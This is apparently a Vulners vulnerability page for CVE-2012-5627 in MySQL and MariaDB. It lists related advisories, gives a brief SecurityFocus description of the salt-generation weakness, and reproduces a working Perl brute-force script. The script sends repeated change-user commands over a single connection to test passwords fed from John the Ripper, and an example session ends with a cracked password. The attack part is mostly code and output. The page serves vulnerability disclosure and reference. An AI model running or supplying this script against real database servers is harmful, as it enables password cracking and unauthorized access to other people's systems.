Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass
| Reporter | Title | Published | Views | Family All 178 |
|---|---|---|---|---|
| Security fix for the ALT Linux 8 package mariadb version April | 1 Apr 201300:00 | – | altlinux | |
| mysql/mariadb/percona server -- multiple vulnerabilities | 1 Dec 201200:00 | – | freebsd | |
| CVE-2012-5627 affecting package mysql 8.0.29-1 | 9 Sep 202115:03 | – | cbl_mariner | |
| CVE-2012-5627 affecting package mysql for versions less than 8.0.24-1 | 9 Apr 202206:53 | – | cbl_mariner | |
| CVE-2012-5627 | 6 Dec 201200:00 | – | circl | |
| CVE-2012-5627 | 1 Oct 201317:00 | – | cve | |
| CVE-2012-5627 | 1 Oct 201317:00 | – | cvelist | |
| EUVD-2012-5512 | 7 Oct 202500:30 | – | euvd | |
| FreeBSD : mysql/mariadb/percona server -- multiple vulnerabilities (8c773d7f-6cbb-11e2-b242-c8600054b392) | 4 Feb 201300:00 | – | nessus | |
| GLSA-201308-06 : MySQL: Multiple vulnerabilities | 30 Aug 201300:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/56837/info
MySQL and MariaDB are prone to a security-bypass weakness.
An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible.
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0,
);
$crackuser = "crackme";
while(<stdin>) {
chomp;
$currentpass = $_;
$vv = join "\0",
$crackuser,
"\x14".
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}
---
example session:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked! --> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session abortedData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Sep 2015 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 24
EPSS0.11413